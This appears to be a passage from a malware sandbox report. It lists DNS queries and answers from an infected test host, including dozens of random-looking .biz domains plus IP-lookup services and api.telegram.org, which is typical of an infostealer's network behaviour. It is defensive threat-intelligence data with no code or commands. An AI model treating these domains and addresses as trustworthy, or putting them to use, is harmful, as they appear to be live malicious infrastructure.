Oct 31, 2024 16:03:26.069413900 CET	192.168.2.22	8.8.8.8	0x5b50	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:26.951122046 CET	192.168.2.22	8.8.8.8	0xc6fa	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:27.128189087 CET	192.168.2.22	8.8.8.8	0x48da	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:28.542793036 CET	192.168.2.22	8.8.8.8	0x71a9	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:29.763891935 CET	192.168.2.22	8.8.8.8	0xa91f	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.023544073 CET	192.168.2.22	8.8.8.8	0xab25	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.419876099 CET	192.168.2.22	8.8.8.8	0x6b65	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.750077963 CET	192.168.2.22	8.8.8.8	0x3ffd	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.751761913 CET	192.168.2.22	8.8.8.8	0xc4d0	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.471661091 CET	192.168.2.22	8.8.8.8	0x179e	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.473027945 CET	192.168.2.22	8.8.8.8	0x7cb6	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.569217920 CET	192.168.2.22	8.8.8.8	0xccf6	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.573576927 CET	192.168.2.22	8.8.8.8	0xd0aa	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.594926119 CET	192.168.2.22	8.8.8.8	0xb075	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:35.067234039 CET	192.168.2.22	8.8.8.8	0x6757	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:35.137392044 CET	192.168.2.22	8.8.8.8	0x9c	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:35.775473118 CET	192.168.2.22	8.8.8.8	0x9e82	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:45.997428894 CET	192.168.2.22	8.8.8.8	0xb6a1	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.392015934 CET	192.168.2.22	8.8.8.8	0xb6a1	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.578746080 CET	192.168.2.22	8.8.8.8	0xbf49	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:47.452017069 CET	192.168.2.22	8.8.8.8	0xc057	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:50.666085005 CET	192.168.2.22	8.8.8.8	0x9612	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:56.721014977 CET	192.168.2.22	8.8.8.8	0x7c4c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:58.582206011 CET	192.168.2.22	8.8.8.8	0x2263	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:59.455070972 CET	192.168.2.22	8.8.8.8	0x8fd6	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:01.003171921 CET	192.168.2.22	8.8.8.8	0xb8f7	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:01.966027021 CET	192.168.2.22	8.8.8.8	0x4c83	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:02.680120945 CET	192.168.2.22	8.8.8.8	0x5bf	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:05.366153955 CET	192.168.2.22	8.8.8.8	0xdc27	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:05.483288050 CET	192.168.2.22	8.8.8.8	0x75d	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:06.989022017 CET	192.168.2.22	8.8.8.8	0x3c4f	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:07.005892038 CET	192.168.2.22	8.8.8.8	0x81e8	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:07.031770945 CET	192.168.2.22	8.8.8.8	0x7264	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:09.472615004 CET	192.168.2.22	8.8.8.8	0xe8aa	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:10.957204103 CET	192.168.2.22	8.8.8.8	0x57b4	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:13.429949045 CET	192.168.2.22	8.8.8.8	0x2f99	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:16.027760983 CET	192.168.2.22	8.8.8.8	0x8cd6	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:19.538108110 CET	192.168.2.22	8.8.8.8	0xa5d9	Standard query (0)	fwiwk.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:21.506127119 CET	192.168.2.22	8.8.8.8	0x1d07	Standard query (0)	tbjrpv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:22.852927923 CET	192.168.2.22	8.8.8.8	0xbff4	Standard query (0)	deoci.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:24.311938047 CET	192.168.2.22	8.8.8.8	0xcca	Standard query (0)	gytujflc.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:25.125164986 CET	192.168.2.22	8.8.8.8	0x2c85	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:26.997056007 CET	192.168.2.22	8.8.8.8	0x2c85	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:27.540611029 CET	192.168.2.22	8.8.8.8	0x5903	Standard query (0)	qaynky.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:29.626300097 CET	192.168.2.22	8.8.8.8	0xdd21	Standard query (0)	bumxkqgxu.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:30.329432011 CET	192.168.2.22	8.8.8.8	0xa4e9	Standard query (0)	dwrqljrr.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:32.137979984 CET	192.168.2.22	8.8.8.8	0xe1c1	Standard query (0)	nqwjmb.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:33.290034056 CET	192.168.2.22	8.8.8.8	0x4b01	Standard query (0)	ytctnunms.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:34.165716887 CET	192.168.2.22	8.8.8.8	0x4242	Standard query (0)	myups.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:35.400630951 CET	192.168.2.22	8.8.8.8	0xf323	Standard query (0)	oshhkdluh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:36.259728909 CET	192.168.2.22	8.8.8.8	0x8a8d	Standard query (0)	yunalwv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:36.603092909 CET	192.168.2.22	8.8.8.8	0xcc1b	Standard query (0)	jpskm.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:37.480940104 CET	192.168.2.22	8.8.8.8	0xdc6a	Standard query (0)	lrxdmhrr.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:38.356095076 CET	192.168.2.22	8.8.8.8	0x65c3	Standard query (0)	wllvnzb.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:40.148008108 CET	192.168.2.22	8.8.8.8	0x1139	Standard query (0)	gnqgo.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:40.939441919 CET	192.168.2.22	8.8.8.8	0xbbb0	Standard query (0)	jhvzpcfg.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:41.815186024 CET	192.168.2.22	8.8.8.8	0xf2aa	Standard query (0)	acwjcqqv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:43.445686102 CET	192.168.2.22	8.8.8.8	0x5a09	Standard query (0)	lejtdj.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:43.460942984 CET	192.168.2.22	8.8.8.8	0x39b6	Standard query (0)	vyome.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:44.369555950 CET	192.168.2.22	8.8.8.8	0x2f8c	Standard query (0)	yauexmxk.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:44.726211071 CET	192.168.2.22	8.8.8.8	0x1a70	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:45.071002007 CET	192.168.2.22	8.8.8.8	0xebb8	Standard query (0)	iuzpxe.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:46.209717989 CET	192.168.2.22	8.8.8.8	0xbc34	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:46.685178995 CET	192.168.2.22	8.8.8.8	0xead2	Standard query (0)	sxmiywsfv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:48.053850889 CET	192.168.2.22	8.8.8.8	0x2177	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:48.144891024 CET	192.168.2.22	8.8.8.8	0x782a	Standard query (0)	vrrazpdh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:49.065886974 CET	192.168.2.22	8.8.8.8	0xb374	Standard query (0)	ftxlah.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:49.066447973 CET	192.168.2.22	8.8.8.8	0x46ea	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:50.601435900 CET	192.168.2.22	8.8.8.8	0xde43	Standard query (0)	fwiwk.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:50.612368107 CET	192.168.2.22	8.8.8.8	0x8014	Standard query (0)	typgfhb.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:52.058939934 CET	192.168.2.22	8.8.8.8	0x3d8a	Standard query (0)	esuzf.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:52.183523893 CET	192.168.2.22	8.8.8.8	0x7d3a	Standard query (0)	tbjrpv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:52.941910982 CET	192.168.2.22	8.8.8.8	0x22fc	Standard query (0)	gvijgjwkh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:53.170555115 CET	192.168.2.22	8.8.8.8	0x775	Standard query (0)	deoci.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:53.932677984 CET	192.168.2.22	8.8.8.8	0xf87d	Standard query (0)	qpnczch.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:53.935878038 CET	192.168.2.22	8.8.8.8	0x15fd	Standard query (0)	gytujflc.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:54.877850056 CET	192.168.2.22	8.8.8.8	0xce73	Standard query (0)	brsua.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:55.119812965 CET	192.168.2.22	8.8.8.8	0x3cf1	Standard query (0)	qaynky.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:55.878443003 CET	192.168.2.22	8.8.8.8	0xba95	Standard query (0)	dlynankz.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:56.662375927 CET	192.168.2.22	8.8.8.8	0x4df9	Standard query (0)	bumxkqgxu.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:56.775882006 CET	192.168.2.22	8.8.8.8	0xae6a	Standard query (0)	oflybfv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:57.614975929 CET	192.168.2.22	8.8.8.8	0x5bcc	Standard query (0)	dwrqljrr.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:58.229401112 CET	192.168.2.22	8.8.8.8	0x95a1	Standard query (0)	yhqqc.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:58.652179003 CET	192.168.2.22	8.8.8.8	0x20d8	Standard query (0)	nqwjmb.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:59.234535933 CET	192.168.2.22	8.8.8.8	0xb647	Standard query (0)	mnjmhp.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:59.632683992 CET	192.168.2.22	8.8.8.8	0x1636	Standard query (0)	ytctnunms.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:00.856745958 CET	192.168.2.22	8.8.8.8	0x4728	Standard query (0)	opowhhece.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:00.873183966 CET	192.168.2.22	8.8.8.8	0x9b01	Standard query (0)	myups.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:01.551176071 CET	192.168.2.22	8.8.8.8	0x99bc	Standard query (0)	zjbpaao.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:01.560575962 CET	192.168.2.22	8.8.8.8	0x96b7	Standard query (0)	jdhhbs.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:01.749691010 CET	192.168.2.22	8.8.8.8	0x1b9b	Standard query (0)	oshhkdluh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:02.593540907 CET	192.168.2.22	8.8.8.8	0x67c5	Standard query (0)	yunalwv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:03.050812960 CET	192.168.2.22	8.8.8.8	0x3d86	Standard query (0)	mgmsclkyu.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:03.075630903 CET	192.168.2.22	8.8.8.8	0x22d6	Standard query (0)	jpskm.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:04.364599943 CET	192.168.2.22	8.8.8.8	0xad3b	Standard query (0)	lrxdmhrr.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:04.519521952 CET	192.168.2.22	8.8.8.8	0x74fc	Standard query (0)	warkcdu.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:05.375950098 CET	192.168.2.22	8.8.8.8	0x7892	Standard query (0)	wllvnzb.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:05.953960896 CET	192.168.2.22	8.8.8.8	0xc9b9	Standard query (0)	gcedd.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:06.824600935 CET	192.168.2.22	8.8.8.8	0x8312	Standard query (0)	gnqgo.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:07.415678978 CET	192.168.2.22	8.8.8.8	0xc700	Standard query (0)	jwkoeoqns.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:07.548338890 CET	192.168.2.22	8.8.8.8	0x88ec	Standard query (0)	jhvzpcfg.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:08.123570919 CET	192.168.2.22	8.8.8.8	0x3b4e	Standard query (0)	xccjj.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:08.267899990 CET	192.168.2.22	8.8.8.8	0x261c	Standard query (0)	acwjcqqv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.019380093 CET	192.168.2.22	8.8.8.8	0x8d18	Standard query (0)	lejtdj.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.027342081 CET	192.168.2.22	8.8.8.8	0xf52b	Standard query (0)	vyome.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.028788090 CET	192.168.2.22	8.8.8.8	0x264f	Standard query (0)	hehckyov.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.714863062 CET	192.168.2.22	8.8.8.8	0x51bc	Standard query (0)	rynmcq.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.870415926 CET	192.168.2.22	8.8.8.8	0xf0b6	Standard query (0)	yauexmxk.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:11.553159952 CET	192.168.2.22	8.8.8.8	0x1d10	Standard query (0)	iuzpxe.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:11.592417955 CET	192.168.2.22	8.8.8.8	0x8c51	Standard query (0)	uaafd.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:12.604648113 CET	192.168.2.22	8.8.8.8	0xe4cd	Standard query (0)	eufxebus.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:13.662342072 CET	192.168.2.22	8.8.8.8	0x45e	Standard query (0)	sxmiywsfv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:15.119817019 CET	192.168.2.22	8.8.8.8	0xf688	Standard query (0)	pwlqfu.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:15.396869898 CET	192.168.2.22	8.8.8.8	0x4d32	Standard query (0)	vrrazpdh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:16.156718016 CET	192.168.2.22	8.8.8.8	0x3067	Standard query (0)	rrqafepng.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:16.365978003 CET	192.168.2.22	8.8.8.8	0xce9c	Standard query (0)	ftxlah.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:17.611560106 CET	192.168.2.22	8.8.8.8	0x2605	Standard query (0)	ctdtgwag.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:17.805803061 CET	192.168.2.22	8.8.8.8	0xde2d	Standard query (0)	typgfhb.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:18.350413084 CET	192.168.2.22	8.8.8.8	0x8c60	Standard query (0)	tnevuluw.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:19.789016962 CET	192.168.2.22	8.8.8.8	0xc004	Standard query (0)	esuzf.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:19.866007090 CET	192.168.2.22	8.8.8.8	0x61a4	Standard query (0)	whjovd.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:21.948615074 CET	192.168.2.22	8.8.8.8	0x2778	Standard query (0)	gvijgjwkh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:21.966169119 CET	192.168.2.22	8.8.8.8	0x979c	Standard query (0)	gjogvvpsf.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:22.507123947 CET	192.168.2.22	8.8.8.8	0x4360	Standard query (0)	reczwga.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:22.689133883 CET	192.168.2.22	8.8.8.8	0xc374	Standard query (0)	qpnczch.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:23.190663099 CET	192.168.2.22	8.8.8.8	0x8795	Standard query (0)	bghjpy.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:23.692109108 CET	192.168.2.22	8.8.8.8	0xa455	Standard query (0)	brsua.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:24.257195950 CET	192.168.2.22	8.8.8.8	0x6a18	Standard query (0)	damcprvgv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:24.979175091 CET	192.168.2.22	8.8.8.8	0xfa50	Standard query (0)	dlynankz.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:25.034506083 CET	192.168.2.22	8.8.8.8	0x6672	Standard query (0)	ocsvqjg.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:25.870722055 CET	192.168.2.22	8.8.8.8	0x4b3e	Standard query (0)	oflybfv.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:26.953633070 CET	192.168.2.22	8.8.8.8	0xd45a	Standard query (0)	ywffr.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:27.316555023 CET	192.168.2.22	8.8.8.8	0x9705	Standard query (0)	yhqqc.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:27.863439083 CET	192.168.2.22	8.8.8.8	0x2b1b	Standard query (0)	ecxbwt.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:28.163547993 CET	192.168.2.22	8.8.8.8	0x79cf	Standard query (0)	mnjmhp.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:29.596376896 CET	192.168.2.22	8.8.8.8	0x4ebd	Standard query (0)	opowhhece.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:30.273921967 CET	192.168.2.22	8.8.8.8	0x42f5	Standard query (0)	zjbpaao.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:30.286778927 CET	192.168.2.22	8.8.8.8	0xb713	Standard query (0)	jdhhbs.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:30.502881050 CET	192.168.2.22	8.8.8.8	0xc8	Standard query (0)	pectx.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:31.356538057 CET	192.168.2.22	8.8.8.8	0x4d51	Standard query (0)	zyiexezl.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:31.727390051 CET	192.168.2.22	8.8.8.8	0xdb4d	Standard query (0)	mgmsclkyu.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:32.044126034 CET	192.168.2.22	8.8.8.8	0xd721	Standard query (0)	banwyw.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 16:03:23.532434940 CET	8.8.8.8	192.168.2.22	0x3143	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:24.573858976 CET	8.8.8.8	192.168.2.22	0x354c	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:25.259171963 CET	8.8.8.8	192.168.2.22	0xac71	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:26.077045918 CET	8.8.8.8	192.168.2.22	0x5b50	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:26.957923889 CET	8.8.8.8	192.168.2.22	0xc6fa	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:27.137119055 CET	8.8.8.8	192.168.2.22	0x48da	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:28.549537897 CET	8.8.8.8	192.168.2.22	0x71a9	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:28.549537897 CET	8.8.8.8	192.168.2.22	0x71a9	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:29.771703005 CET	8.8.8.8	192.168.2.22	0xa91f	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.030354977 CET	8.8.8.8	192.168.2.22	0xab25	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.427987099 CET	8.8.8.8	192.168.2.22	0x6b65	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.756711006 CET	8.8.8.8	192.168.2.22	0x3ffd	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.759154081 CET	8.8.8.8	192.168.2.22	0xc4d0	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:31.759154081 CET	8.8.8.8	192.168.2.22	0xc4d0	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.478832960 CET	8.8.8.8	192.168.2.22	0x179e	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.479480028 CET	8.8.8.8	192.168.2.22	0x7cb6	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.576710939 CET	8.8.8.8	192.168.2.22	0xccf6	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.581806898 CET	8.8.8.8	192.168.2.22	0xd0aa	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:33.601650953 CET	8.8.8.8	192.168.2.22	0xb075	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:35.074826956 CET	8.8.8.8	192.168.2.22	0x6757	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:35.144059896 CET	8.8.8.8	192.168.2.22	0x9c	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:35.782653093 CET	8.8.8.8	192.168.2.22	0x9e82	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.391503096 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 16:03:46.391503096 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.391503096 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.391503096 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.391503096 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.391503096 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.398708105 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 16:03:46.398708105 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.398708105 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.398708105 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.398708105 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.398708105 CET	8.8.8.8	192.168.2.22	0xb6a1	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.586213112 CET	8.8.8.8	192.168.2.22	0xbf49	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 16:03:46.586213112 CET	8.8.8.8	192.168.2.22	0xbf49	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.586213112 CET	8.8.8.8	192.168.2.22	0xbf49	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.586213112 CET	8.8.8.8	192.168.2.22	0xbf49	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.586213112 CET	8.8.8.8	192.168.2.22	0xbf49	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:46.586213112 CET	8.8.8.8	192.168.2.22	0xbf49	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
